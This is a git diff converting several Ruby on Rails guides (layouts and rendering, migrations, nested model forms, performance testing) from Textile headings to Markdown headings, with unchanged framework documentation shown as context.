@@ -400,7 +403,7 @@ class ProductsController < ApplicationController
end
```
-h6. Conditional Layouts
+##### Conditional Layouts
Layouts specified at the controller level support the +:only+ and +:except+ options. These options take either a method name, or an array of method names, corresponding to method names within the controller:
@@ -412,7 +415,7 @@ end
With this declaration, the +product+ layout would be used for everything but the +rss+ and +index+ methods.
-h6. Layout Inheritance
+##### Layout Inheritance
Layout declarations cascade downward in the hierarchy, and more specific layout declarations always override more general ones. For example:
@@ -465,7 +468,7 @@ In this application:
* +OldPostsController#show+ will use no layout at all
* +OldPostsController#index+ will use the +old+ layout
-h5. Avoiding Double Render Errors
+#### Avoiding Double Render Errors
Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that +render+ works.
@@ -508,7 +511,7 @@ end
This will render a book with +special?+ set with the +special_show+ template, while other books will render with the default +show+ template.
-h4. Using +redirect_to+
+### Using +redirect_to+
Another way to handle returning responses to an HTTP request is with +redirect_to+. As you've seen, +render+ tells Rails which view (or other asset) to use in constructing a response. The +redirect_to+ method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:
@@ -522,7 +525,7 @@ You can use +redirect_to+ with any arguments that you could use with +link_to+ o
redirect_to :back
```
-h5. Getting a Different Redirect Status Code
+#### Getting a Different Redirect Status Code
Rails uses HTTP status code 302, a temporary redirect, when you call +redirect_to+. If you'd like to use a different status code, perhaps 301, a permanent redirect, you can use the +:status+ option:
@@ -532,7 +535,7 @@ redirect_to photos_path, :status => 301
Just like the +:status+ option for +render+, +:status+ for +redirect_to+ accepts both numeric and symbolic header designations.
-h5. The Difference Between +render+ and +redirect_to+
+#### The Difference Between +render+ and +redirect_to+
Sometimes inexperienced developers think of +redirect_to+ as a sort of +goto+ command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code.
@@ -588,7 +591,7 @@ end
This would detect that there are no books with the specified ID, populate the +@books+ instance variable with all the books in the model, and then directly render the +index.html.erb+ template, returning it to the browser with a flash alert message to tell the user what happened.
-h4. Using +head+ To Build Header-Only Responses
+### Using +head+ To Build Header-Only Responses
The +head+ method can be used to send responses with only headers to the browser. It provides a more obvious alternative to calling +render :nothing+. The +head+ method takes one parameter, which is interpreted as a hash of header names and values. For example, you can return only an error header:
@@ -629,7 +632,8 @@ Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
Cache-Control: no-cache
```
-h3. Structuring Layouts
+Structuring Layouts
+-------------------
When Rails renders a view as a response, it does so by combining the view with the current layout, using the rules for finding the current layout that were covered earlier in this guide. Within a layout, you have access to three tools for combining different bits of output to form the overall response:
@@ -637,7 +641,7 @@ When Rails renders a view as a response, it does so by combining the view with t
* +yield+ and +content_for+
* Partials
-h4. Asset Tag Helpers
+### Asset Tag Helpers
Asset tag helpers provide methods for generating HTML that link views to feeds, JavaScript, stylesheets, images, videos and audios. There are six asset tag helpers available in Rails:
@@ -652,7 +656,7 @@ You can use these tags in layouts or other views, although the +auto_discovery_l
WARNING: The asset tag helpers do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link.
-h5. Linking to Feeds with the +auto_discovery_link_tag+
+#### Linking to Feeds with the +auto_discovery_link_tag+
The +auto_discovery_link_tag+ helper builds HTML that most browsers and newsreaders can use to detect the presence of RSS or Atom feeds. It takes the type of the link (+:rss+ or +:atom+), a hash of options that are passed through to url_for, and a hash of options for the tag:
@@ -667,7 +671,7 @@ There are three tag options available for the +auto_discovery_link_tag+:
* +:type+ specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically.
* +:title+ specifies the title of the link. The default value is the uppercased +:type+ value, for example, "ATOM" or "RSS".
-h5. Linking to JavaScript Files with the +javascript_include_tag+
+#### Linking to JavaScript Files with the +javascript_include_tag+
The +javascript_include_tag+ helper returns an HTML +script+ tag for each source provided.
@@ -773,7 +777,7 @@ By default, the combined file will be delivered as +javascripts/all.js+. You can
You can even use dynamic paths such as +cache/#{current_site}/main/display+.
-h5. Linking to CSS Files with the +stylesheet_link_tag+
+#### Linking to CSS Files with the +stylesheet_link_tag+
The +stylesheet_link_tag+ helper returns an HTML +&lt;link&gt;+ tag for each source provided.
@@ -836,7 +840,7 @@ By default, the combined file will be delivered as +stylesheets/all.css+. You ca
You can even use dynamic paths such as +cache/#{current_site}/main/display+.
-h5. Linking to Images with the +image_tag+
+#### Linking to Images with the +image_tag+
The +image_tag+ helper builds an HTML +&lt;img /&gt;+ tag to the specified file. By default, files are loaded from +public/images+.
@@ -879,7 +883,7 @@ In addition to the above special tags, you can supply a final hash of standard H
:class => "nav_bar" %>
```
-h5. Linking to Videos with the +video_tag+
+#### Linking to Videos with the +video_tag+
The +video_tag+ helper builds an HTML 5 +&lt;video&gt;+ tag to the specified file. By default, files are loaded from +public/videos+.
@@ -915,7 +919,7 @@ This will produce:
<video><source src="trailer.ogg" /><source src="movie.ogg" /></video>
```
-h5. Linking to Audio Files with the +audio_tag+
+#### Linking to Audio Files with the +audio_tag+
The +audio_tag+ helper builds an HTML 5 +&lt;audio&gt;+ tag to the specified file. By default, files are loaded from +public/audios+.
@@ -937,7 +941,7 @@ Like the +video_tag+, the +audio_tag+ has special options:
* +:controls => true+, provides browser supplied controls for the user to interact with the audio.
* +:autobuffer => true+, the audio will pre load the file for the user on page load.
-h4. Understanding +yield+
+### Understanding +yield+
Within the context of a layout, +yield+ identifies a section where content from the view should be inserted. The simplest way to use this is to have a single +yield+, into which the entire contents of the view currently being rendered is inserted:
@@ -966,7 +970,7 @@ You can also create a layout with multiple yielding regions:
The main body of the view will always render into the unnamed +yield+. To render content into a named +yield+, you use the +content_for+ method.
-h4. Using the +content_for+ Method
+### Using the +content_for+ Method
The +content_for+ method allows you to insert content into a named +yield+ block in your layout. For example, this view would work with the layout that you just saw:
@@ -993,11 +997,11 @@ The result of rendering this page into the supplied layout would be this HTML:
The +content_for+ method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific JavaScript or css files into the header of an otherwise generic layout.
-h4. Using Partials
+### Using Partials
Partial templates - usually just called "partials" - are another device for breaking the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.
-h5. Naming Partials
+#### Naming Partials
To render a partial as part of a view, you use the +render+ method within the view:
@@ -1013,7 +1017,7 @@ This will render a file named +_menu.html.erb+ at that point within the view bei
That code will pull in the partial from +app/views/shared/_menu.html.erb+.
-h5. Using Partials to Simplify Views
+#### Using Partials to Simplify Views
One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:
@@ -1032,7 +1036,7 @@ Here, the +_ad_banner.html.erb+ and +_footer.html.erb+ partials could contain co
TIP: For content that is shared among all pages in your application, you can use partials directly from layouts.
-h5. Partial Layouts
+#### Partial Layouts
A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this:
@@ -1044,7 +1048,7 @@ This would look for a partial named +_link_area.html.erb+ and render it using th
Also note that explicitly specifying +:partial+ is required when passing additional options such as +:layout+.
-h5. Passing Local Variables
+#### Passing Local Variables
You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content:
@@ -1098,7 +1102,7 @@ If you have an instance of a model to render into a partial, you can use a short
Assuming that the +@customer+ instance variable contains an instance of the +Customer+ model, this will use +_customer.html.erb+ to render it and will pass the local variable +customer+ into the partial which will refer to the +@customer+ instance variable in the parent view.
-h5. Rendering Collections
+#### Rendering Collections
Partials are very useful in rendering collections. When you pass a collection to a partial via the +:collection+ option, the partial will be inserted once for each member in the collection:
@@ -1154,7 +1158,7 @@ In the event that the collection is empty, +render+ will return nil, so it shoul
<%= render(@products) || "There are no products available." %>
```
-h5. Local Variables
+#### Local Variables
To use a custom local variable name within the partial, specify the +:as+ option in the call to the partial:
@@ -1177,7 +1181,7 @@ TIP: Rails also makes a counter variable available within a partial called by th
You can also specify a second partial to be rendered between instances of the main partial by using the +:spacer_template+ option:
-h5. Spacer Templates
+#### Spacer Templates
```erb
<%= render :partial => @products, :spacer_template => "product_ruler" %>
@@ -1185,7 +1189,7 @@ h5. Spacer Templates
Rails will render the +_product_ruler+ partial (with no data passed in to it) between each pair of +_product+ partials.
-h5(#collection-partial-layouts). Partial Layouts
+#### Partial Layouts
When rendering collections it is also possible to use the +:layout+ option:
@@ -1195,7 +1199,7 @@ When rendering collections it is also possible to use the +:layout+ option:
The layout will be rendered together with the partial for each item in the collection. The current object and object_counter variables will be available in the layout as well, the same way they do within the partial.
-h4. Using Nested Layouts
+### Using Nested Layouts
You may find that your application requires a layout that differs slightly from your regular application layout to support one particular controller. Rather than repeating the main layout and editing it, you can accomplish this by using nested layouts (sometimes called sub-templates). Here's an example:
diff --git a/guides/source/migrations.md b/guides/source/migrations.md
index 7b24269306..685e8aeb02 100644
--- a/guides/source/migrations.md
+++ b/guides/source/migrations.md
@@ -1,4 +1,5 @@
-h2. Migrations
+Migrations
+==========
Migrations are a convenient way for you to alter your database in a structured
and organized manner. You could edit fragments of SQL by hand but you would then
@@ -24,9 +25,10 @@ In this guide, you'll learn all about migrations including:
* The Rake tasks that manipulate them
* How they relate to +schema.rb+
-endprologue.
+--------------------------------------------------------------------------------
-h3. Anatomy of a Migration
+Anatomy of a Migration
+----------------------
Before we dive into the details of a migration, here are a few examples of the
sorts of things you can do:
@@ -81,7 +83,7 @@ it to default to +false+ for new users, but existing users are considered to
have already opted in, so we use the User model to set the flag to +true+ for
existing users.
-h4. Using the +change+ Method
+### Using the change method
Rails 3.1 makes migrations smarter by providing a new <tt>change</tt> method.
This method is preferred for writing constructive migrations (adding columns or
@@ -101,7 +103,7 @@ class CreateProducts < ActiveRecord::Migration
end
```
-h4. Migrations are Classes
+### Migrations are Classes
A migration is a subclass of <tt>ActiveRecord::Migration</tt> that implements
two methods: +up+ (perform the required transformations) and +down+ (revert
@@ -136,7 +138,7 @@ database does not support this (for example MySQL) then when a migration fails
the parts of it that succeeded will not be rolled back. You will have to rollback
the changes that were made by hand.
-h4. What's in a Name
+### What's in a Name
Migrations are stored as files in the +db/migrate+ directory, one for each
migration class. The name of the file is of the form
@@ -174,7 +176,7 @@ Of course this is no substitution for communication within the team. For
example, if Alice's migration removed a table that Bob's migration assumed to
exist, then trouble would certainly strike.
-h4. Changing Migrations
+### Changing Migrations
Occasionally you will make a mistake when writing a migration. If you have
already run the migration then you cannot just edit the migration and run the
@@ -190,7 +192,7 @@ Editing a freshly generated migration that has not yet been committed to source
control (or, more generally, which has not been propagated beyond your
development machine) is relatively harmless.
-h4. Supported Types
+### Supported Types
Active Record supports the following database column types:
@@ -219,9 +221,10 @@ end
This may however hinder portability to other databases.
-h3. Creating a Migration
+Creating a Migration
+--------------------
-h4. Creating a Model
+### Creating a Model
The model and scaffold generators will create migrations appropriate for adding
a new model. This migration will already contain instructions for creating the
@@ -252,7 +255,7 @@ generated migration will include +t.timestamps+ (which creates the
+updated_at+ and +created_at+ columns that are automatically populated
by Active Record).
-h4. Creating a Standalone Migration
+### Creating a Standalone Migration
If you are creating migrations for other purposes (e.g., to add a column
to an existing table) then you can also use the migration generator:
@@ -351,7 +354,7 @@ end
This migration will create a user_id column and appropriate index.
-h4. Supported Type Modifiers
+### Supported Type Modifiers
You can also specify some options just after the field type between curly braces. You can use the
following modifiers:
@@ -378,12 +381,13 @@ class AddDetailsToProducts < ActiveRecord::Migration
end
```
-h3. Writing a Migration
+Writing a Migration
+-------------------
Once you have created your migration using one of the generators it's time to
get to work!
-h4. Creating a Table
+### Creating a Table
Migration method +create_table+ will be one of your workhorses. A typical use
would be
@@ -432,7 +436,7 @@ end
will append +ENGINE=BLACKHOLE+ to the SQL statement used to create the table
(when using MySQL, the default is +ENGINE=InnoDB+).
-h4. Creating a Join Table
+### Creating a Join Table
Migration method +create_join_table+ creates a HABTM join table. A typical use
would be
@@ -461,7 +465,7 @@ create_join_table :products, :categories, :column_options => {:null => true}
will create the +product_id+ and +category_id+ with the +:null+ option as +true+.
-h4. Changing Tables
+### Changing Tables
A close cousin of +create_table+ is +change_table+, used for changing existing
tables. It is used in a similar fashion to +create_table+ but the object yielded
@@ -479,7 +483,7 @@ end
removes the +description+ and +name+ columns, creates a +part_number+ string
column and adds an index on it. Finally it renames the +upccode+ column.
-h4. Special Helpers
+### Special Helpers
Active Record provides some shortcuts for common functionality. It is for
example very common to add both the +created_at+ and +updated_at+ columns and so
@@ -550,7 +554,7 @@ and
"<tt>ActiveRecord::ConnectionAdapters::Table</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html
(which provides the methods available on the object yielded by +change_table+).
-h4. When to Use the +change+ Method
+### When to Use the +change+ Method
The +change+ method removes the need to write both +up+ and +down+ methods in
those cases that Rails knows how to revert the changes automatically. Currently,
@@ -568,7 +572,7 @@ the +change+ method supports only these migration definitions:
If you're going to need to use any other methods, you'll have to write the
+up+ and +down+ methods instead of using the +change+ method.
-h4. Using the +up+/+down+ Methods
+### Using the +up+/+down+ Methods
The +down+ method of your migration should revert the transformations done by
the +up+ method. In other words, the database schema should be unchanged if you
@@ -612,7 +616,8 @@ example, it might destroy some data. In such cases, you can raise
to revert your migration, an error message will be displayed saying that it
can't be done.
-h3. Running Migrations
+Running Migrations
+------------------
Rails provides a set of rake tasks to work with migrations which boil down to
running certain sets of migrations.
@@ -641,7 +646,7 @@ including 20080906120000, and will not execute any later migrations. If
migrating downwards, this will run the +down+ method on all the migrations
down to, but not including, 20080906120000.
-h4. Rolling Back
+### Rolling Back
A common task is to rollback the last migration. For example, if you made a
mistake in it and wish to correct it. Rather than tracking down the version
@@ -672,7 +677,7 @@ Neither of these Rake tasks do anything you could not do with +db:migrate+. They
are simply more convenient, since you do not need to explicitly specify the
version to migrate to.
-h4. Resetting the Database
+### Resetting the Database
The +rake db:reset+ task will drop the database, recreate it and load the
current schema into it.
@@ -680,7 +685,7 @@ current schema into it.
NOTE: This is not the same as running all the migrations - see the section on
"schema.rb":#schema-dumping-and-you.
-h4. Running Specific Migrations
+### Running Specific Migrations
If you need to run a specific migration up or down, the +db:migrate:up+ and
+db:migrate:down+ tasks will do that. Just specify the appropriate version and
@@ -695,7 +700,7 @@ will run the +up+ method from the 20080906120000 migration. This task will first
check whether the migration is already performed and will do nothing if Active Record believes
that it has already been run.
-h4. Changing the Output of Running Migrations
+### Changing the Output of Running Migrations
By default migrations tell you exactly what they're doing and how long it took.
A migration creating a table and adding an index might produce output like this
@@ -757,7 +762,8 @@ generates the following output
If you want Active Record to not output anything, then running +rake db:migrate
VERBOSE=false+ will suppress all output.
-h3. Using Models in Your Migrations
+Using Models in Your Migrations
+-------------------------------
When creating or updating data in a migration it is often tempting to use one of
your models. After all, they exist to provide easy access to the underlying
@@ -877,9 +883,10 @@ class AddFuzzToProduct < ActiveRecord::Migration
end
```
-h3. Schema Dumping and You
+Schema Dumping and You
+----------------------
-h4. What are Schema Files for?
+### What are Schema Files for?
Migrations, mighty as they may be, are not the authoritative source for your
database schema. That role falls to either +db/schema.rb+ or an SQL file which
@@ -902,7 +909,7 @@ summed up in the schema file. The
adds and updates comments at the top of each model summarizing the schema if
you desire that functionality.
-h4. Types of Schema Dumps
+### Types of Schema Dumps
There are two ways to dump the schema. This is set in +config/application.rb+ by
the +config.active_record.schema_format+ setting, which may be either +:sql+ or
@@ -951,12 +958,13 @@ perfect copy of the database's structure. Using the +:sql+ schema format will,
however, prevent loading the schema into a RDBMS other than the one used to
create it.
-h4. Schema Dumps and Source Control
+### Schema Dumps and Source Control
Because schema dumps are the authoritative source for your database schema, it
is strongly recommended that you check them into source control.
-h3. Active Record and Referential Integrity
+Active Record and Referential Integrity
+---------------------------------------
The Active Record way claims that intelligence belongs in your models, not in
the database. As such, features such as triggers or foreign key constraints,
diff --git a/guides/source/nested_model_forms.md b/guides/source/nested_model_forms.md
index 3028be2862..b87f82aefe 100644
--- a/guides/source/nested_model_forms.md
+++ b/guides/source/nested_model_forms.md
@@ -1,4 +1,5 @@
-h2. Rails nested model forms
+Rails nested model forms
+========================
Creating a form for a model _and_ its associations can become quite tedious. Therefore Rails provides helpers to assist in dealing with the complexities of generating these forms _and_ the required CRUD operations to create, update, and destroy associations.
@@ -6,12 +7,13 @@ In this guide you will:
* do stuff
-endprologue.
+--------------------------------------------------------------------------------
NOTE: This guide assumes the user knows how to use the "Rails form helpers":form_helpers.html in general. Also, it’s *not* an API reference. For a complete reference please visit "the Rails API documentation":http://api.rubyonrails.org/.
-h3. Model setup
+Model setup
+-----------
To be able to use the nested model functionality in your forms, the model will need to support some basic operations.
@@ -21,11 +23,11 @@ If the associated object is an array a form builder will be yielded for each obj
Consider a Person model with an associated Address. When asked to yield a nested FormBuilder for the +:address+ attribute, the +fields_for+ form helper will look for a method on the Person instance named +address_attributes=+.
-h4. ActiveRecord::Base model
+### ActiveRecord::Base model
For an ActiveRecord::Base model and association this writer method is commonly defined with the +accepts_nested_attributes_for+ class method:
-h5. has_one
+#### has_one
```ruby
class Person < ActiveRecord::Base
@@ -34,7 +36,7 @@ class Person < ActiveRecord::Base
end
```
-h5. belongs_to
+#### belongs_to
```ruby
class Person < ActiveRecord::Base
@@ -43,7 +45,7 @@ class Person < ActiveRecord::Base
end
```
-h5. has_many / has_and_belongs_to_many
+#### has_many / has_and_belongs_to_many
```ruby
class Person < ActiveRecord::Base
@@ -52,11 +54,11 @@ class Person < ActiveRecord::Base
end
```
-h4. Custom model
+### Custom model
As you might have inflected from this explanation, you _don’t_ necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behaviour:
-h5. Single associated object
+#### Single associated object
```ruby
class Person
@@ -70,7 +72,7 @@ class Person
end
```
-h5. Association collection
+#### Association collection
```ruby
class Person
@@ -86,9 +88,10 @@ end
NOTE: See (TODO) in the advanced section for more information on how to deal with the CRUD operations in your custom model.
-h3. Views
+Views
+-----
-h4. Controller code
+### Controller code
A nested model form will _only_ be built if the associated object(s) exist. This means that for a new model instance you would probably want to build the associated object(s) first.
@@ -113,11 +116,11 @@ end
NOTE: Obviously the instantiation of the associated object(s) can become tedious and not DRY, so you might want to move that into the model itself. ActiveRecord::Base provides an +after_initialize+ callback which is a good way to refactor this.
-h4. Form code
+### Form code
Now that you have a model instance, with the appropriate methods and associated object(s), you can start building the nested model form.
-h5. Standard form
+#### Standard form
Start out with a regular RESTful form:
@@ -135,7 +138,7 @@ This will generate the following html:
</form>
```
-h5. Nested form for a single associated object
+#### Nested form for a single associated object
Now add a nested form for the +address+ association:
@@ -176,7 +179,7 @@ When this form is posted the Rails parameter parser will construct a hash like t
That’s it. The controller will simply pass this hash on to the model from the +create+ action. The model will then handle building the +address+ association for you and automatically save it when the parent (+person+) is saved.
-h5. Nested form for a collection of associated objects
+#### Nested form for a collection of associated objects
The form code for an association collection is pretty similar to that of a single associated object:
diff --git a/guides/source/performance_testing.md b/guides/source/performance_testing.md
index 3114f200ab..c2462adf95 100644
--- a/guides/source/performance_testing.md
+++ b/guides/source/performance_testing.md
@@ -1,4 +1,5 @@
-h2. Performance Testing Rails Applications
+Performance Testing Rails Applications
+======================================
This guide covers the various ways of performance testing a Ruby on Rails
application. By referring to this guide, you will be able to:
@@ -16,9 +17,10 @@ is completely loaded. Ensuring a pleasant browsing experience for end users and
cutting the cost of unnecessary hardware is important for any non-trivial web
application.
-endprologue.
+--------------------------------------------------------------------------------
-h3. Performance Test Cases
+Performance Test Cases
+----------------------
Rails performance tests are a special type of integration tests, designed for
benchmarking and profiling the test code. With performance tests, you can
@@ -46,7 +48,7 @@ end
This example is a simple performance test case for profiling a GET request to
the application's homepage.
-h4. Generating Performance Tests
+### Generating Performance Tests
Rails provides a generator called +performance_test+ for creating new
performance tests:
@@ -72,7 +74,7 @@ class HomepageTest < ActionDispatch::PerformanceTest
end
```
-h4. Examples
+### Examples
Let's assume your application has the following controller and model:
@@ -113,7 +115,7 @@ class Post < ActiveRecord::Base
end
```
-h5. Controller Example
+#### Controller Example
Because performance tests are a special kind of integration test, you can use
the +get+ and +post+ methods in them.
@@ -144,7 +146,7 @@ end
You can find more details about the +get+ and +post+ methods in the
"Testing Rails Applications":testing.html guide.
-h5. Model Example
+#### Model Example
Even though the performance tests are integration tests and hence closer to
the request/response cycle by nature, you can still performance test pure model
@@ -168,11 +170,11 @@ class PostModelTest < ActionDispatch::PerformanceTest
end
```
-h4. Modes
+### Modes
Performance tests can be run in two modes: Benchmarking and Profiling.
-h5. Benchmarking
+#### Benchmarking
Benchmarking makes it easy to quickly gather a few metrics about each test run.
By default, each test case is run *4 times* in benchmarking mode.
@@ -183,7 +185,7 @@ To run performance tests in benchmarking mode:
$ rake test:benchmark
```
-h5. Profiling
+#### Profiling
Profiling allows you to make an in-depth analysis of each of your tests by using
an external profiler. Depending on your Ruby interpreter, this profiler can be
@@ -196,55 +198,55 @@ To run performance tests in profiling mode:
$ rake test:profile
```
-h4. Metrics
+### Metrics
Benchmarking and profiling run performance tests and give you multiple metrics.
The availability of each metric is determined by the interpreter being used—none
of them support all metrics—and by the mode in use. A brief description of each
metric and their availability across interpreters/modes is given below.
-h5. Wall Time
+#### Wall Time
Wall time measures the real world time elapsed during the test run. It is
affected by any other processes concurrently running on the system.
-h5. Process Time
+#### Process Time
Process time measures the time taken by the process. It is unaffected by any
other processes running concurrently on the same system. Hence, process time
is likely to be constant for any given performance test, irrespective of the
machine load.
-h5. CPU Time
+#### CPU Time
Similar to process time, but leverages the more accurate CPU clock counter
available on the Pentium and PowerPC platforms.
-h5. User Time
+#### User Time
User time measures the amount of time the CPU spent in user-mode, i.e. within
the process. This is not affected by other processes and by the time it possibly
spends blocked.
-h5. Memory
+#### Memory
Memory measures the amount of memory used for the performance test case.
-h5. Objects
+#### Objects
Objects measures the number of objects allocated for the performance test case.
-h5. GC Runs
+#### GC Runs
GC Runs measures the number of times GC was invoked for the performance test case.
-h5. GC Time
+#### GC Time
GC Time measures the amount of time spent in GC for the performance test case.
-h5. Metric Availability
+#### Metric Availability
-h6(#benchmarking_1). Benchmarking
+##### Benchmarking
|_.Interpreter|_.Wall Time|_.Process Time|_.CPU Time|_.User Time|_.Memory|_.Objects|_.GC Runs|_.GC Time|
|_.MRI | yes | yes | yes | no | yes | yes | yes | yes |
@@ -252,7 +254,7 @@ h6(#benchmarking_1). Benchmarking
|_.Rubinius | yes | no | no | no | yes | yes | yes | yes |
|_.JRuby | yes | no | no | yes | yes | yes | yes | yes |
-h6(#profiling_1). Profiling
+##### Profiling
|_.Interpreter|_.Wall Time|_.Process Time|_.CPU Time|_.User Time|_.Memory|_.Objects|_.GC Runs|_.GC Time|
|_.MRI | yes | yes | no | no | yes | yes | yes | yes |
@@ -263,16 +265,16 @@ h6(#profiling_1). Profiling
NOTE: To profile under JRuby you'll need to run +export JRUBY_OPTS="-Xlaunch.inproc=false --profile.api"+
*before* the performance tests.
-h4. Understanding the Output
+### Understanding the Output
Performance tests generate different outputs inside +tmp/performance+ directory
depending on their mode and metric.
-h5(#output-benchmarking). Benchmarking
+#### Benchmarking
In benchmarking mode, performance tests generate two types of outputs.
-h6(#output-command-line). Command Line
+##### Command Line
This is the primary form of output in benchmarking mode. Example:
@@ -285,7 +287,7 @@ BrowsingTest#test_homepage (31 ms warmup)
gc_time: 19 ms
```
-h6. CSV Files
+##### CSV Files
Performance test results are also appended to +.csv+ files inside +tmp/performance+.
For example, running the default +BrowsingTest#test_homepage+ will generate
@@ -317,14 +319,14 @@ measurement,created_at,app,rails,ruby,platform
0.00771250000000012,2009-01-09T15:46:03Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
```
-h5(#output-profiling). Profiling
+#### Profiling
In profiling mode, performance tests can generate multiple types of outputs.
The command line output is always presented but support for the others is
dependent on the interpreter in use. A brief description of each type and
their availability across interpreters is given below.
-h6. Command Line
+##### Command Line
This is a very basic form of output in profiling mode:
@@ -335,22 +337,22 @@ BrowsingTest#test_homepage (58 ms warmup)
objects: 7,882
```
-h6. Flat
+##### Flat
Flat output shows the metric—time, memory, etc—measure in each method.
"Check Ruby-Prof documentation for a better explanation":http://ruby-prof.rubyforge.org/files/examples/flat_txt.html.
-h6. Graph
+##### Graph
Graph output shows the metric measure in each method, which methods call it and
which methods it calls. "Check Ruby-Prof documentation for a better explanation":http://ruby-prof.rubyforge.org/files/examples/graph_txt.html.
-h6. Tree
+##### Tree
Tree output is profiling information in calltree format for use by "kcachegrind":http://kcachegrind.sourceforge.net/html/Home.html
and similar tools.
-h6. Output Availability
+##### Output Availability
|_. |_.Flat|_.Graph|_.Tree|
|_.MRI | yes | yes | yes |
@@ -358,7 +360,7 @@ h6. Output Availability
|_.Rubinius | yes | yes | no |
|_.JRuby | yes | yes | no |
-h4. Tuning Test Runs
+### Tuning Test Runs
Test runs can be tuned by setting the +profile_options+ class variable on your
test class.
@@ -398,7 +400,7 @@ Metrics and formats have different defaults depending on the interpreter in use.
As you've probably noticed by now, metrics and formats are specified using a
symbol array with each name "underscored.":http://api.rubyonrails.org/classes/String.html#method-i-underscore
-h4. Performance Test Environment
+### Performance Test Environment
Performance tests are run in the +test+ environment. But running performance
tests will set the following configuration parameters:
@@ -412,7 +414,7 @@ Rails.logger.level = ActiveSupport::BufferedLogger::INFO
As +ActionController::Base.perform_caching+ is set to +true+, performance tests
will behave much as they do in the +production+ environment.
-h4. Installing GC-Patched MRI
+### Installing GC-Patched MRI
To get the best from Rails' performance tests under MRI, you'll need to build
a special Ruby binary with some super powers.
@@ -431,7 +433,7 @@ Concerning the installation itself, you can either do this easily by using
"RVM":http://rvm.beginrescueend.com or you can build everything from source,
which is a little bit harder.
-h5. Install Using RVM
+#### Install Using RVM
The process of installing a patched Ruby interpreter is very easy if you let RVM
do the hard work. All of the following RVM commands will provide you with a
@@ -454,13 +456,13 @@ $ rvm use 1.9.2-p180-gcdata # your patched ruby
And it's done! You have installed a patched Ruby interpreter.
-h5. Install From Source
+#### Install From Source
This process is a bit more complicated, but straightforward nonetheless. If
you've never compiled a Ruby binary before, follow these steps to build a
Ruby binary inside your home directory.
-h6. Download and Extract
+##### Download and Extract
```shell
$ mkdir rubygc
@@ -469,14 +471,14 @@ $ tar -xzvf <ruby-version.tar.gz>
$ cd <ruby-version>
```
-h6. Apply the Patch
+##### Apply the Patch
```shell
$ curl http://github.com/wayneeseguin/rvm/raw/master/patches/ruby/1.9.2/p180/gcdata.patch | patch -p0 # if you're on 1.9.2!
$ curl http://github.com/wayneeseguin/rvm/raw/master/patches/ruby/1.8.7/ruby187gc.patch | patch -p0 # if you're on 1.8.7!
```
-h6. Configure and Install
+##### Configure and Install
The following will install Ruby in your home directory's +/rubygc+ directory.
Make sure to replace +&lt;homedir&gt;+ with a full patch to your actual home
@@ -487,7 +489,7 @@ $ ./configure --prefix=/<homedir>/rubygc
$ make && make install
```
-h6. Prepare Aliases
+##### Prepare Aliases
For convenience, add the following lines in your +~/.profile+:
@@ -501,7 +503,7 @@ alias gcrails='~/rubygc/bin/rails'
Don't forget to use your aliases from now on.
-h4. Using Ruby-Prof on MRI and REE
+### Using Ruby-Prof on MRI and REE
Add Ruby-Prof to your applications' Gemfile if you want to benchmark/profile
under MRI or REE:
@@ -512,13 +514,14 @@ gem 'ruby-prof', git: 'git://github.com/wycats/ruby-prof.git'
Now run +bundle install+ and you're ready to go.
-h3. Command Line Tools
+Command Line Tools
+------------------
Writing performance test cases could be an overkill when you are looking for one
time tests. Rails ships with two command line tools that enable quick and dirty
performance testing:
-h4. +benchmarker+
+### +benchmarker+
Usage:
@@ -538,7 +541,7 @@ Example:
$ rails benchmarker 'Item.all' 'CouchItem.all' --runs 3 --metrics wall_time,memory
```
-h4. +profiler+
+### +profiler+
Usage:
@@ -563,13 +566,14 @@ $ rails profiler 'Item.all' 'CouchItem.all' --runs 2 --metrics process_time --fo
NOTE: Metrics and formats vary from interpreter to interpreter. Pass +--help+ to
each tool to see the defaults for your interpreter.
-h3. Helper Methods
+Helper Methods
+--------------
Rails provides various helper methods inside Active Record, Action Controller
and Action View to measure the time taken by a given piece of code. The method
is called +benchmark()+ in all the three components.
-h4. Model
+### Model
```ruby
Project.benchmark("Creating project") do
@@ -589,7 +593,7 @@ Creating project (185.3ms)
Please refer to the "API docs":http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html#method-i-benchmark
for additional options to +benchmark()+.
-h4. Controller
+### Controller
Similarly, you could use this helper method inside "controllers.":http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html
@@ -604,7 +608,7 @@ end
NOTE: +benchmark+ is a class method inside controllers.
-h4. View
+### View
And in "views":http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html:
@@ -614,7 +618,8 @@ And in "views":http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.ht
<% end %>
```
-h3. Request Logging
+Request Logging
+---------------
Rails log files contain very useful information about the time taken to serve
each request. Here's a typical log file entry:
@@ -641,9 +646,10 @@ were spent inside the controller.
Michael Koziarski has an "interesting blog post":http://www.therailsway.com/2009/1/6/requests-per-second
explaining the importance of using milliseconds as the metric.
-h3. Useful Links
+Useful Links
+------------
-h4. Rails Plugins and Gems
+### Rails Plugins and Gems
* "Rails Analyzer":http://rails-analyzer.rubyforge.org
* "Palmist":http://www.flyingmachinestudios.com/programming/announcing-palmist
@@ -651,19 +657,20 @@ h4. Rails Plugins and Gems
* "Query Reviewer":https://github.com/dsboulder/query_reviewer/tree/master
* "MiniProfiler":http://www.miniprofiler.com
-h4. Generic Tools
+### Generic Tools
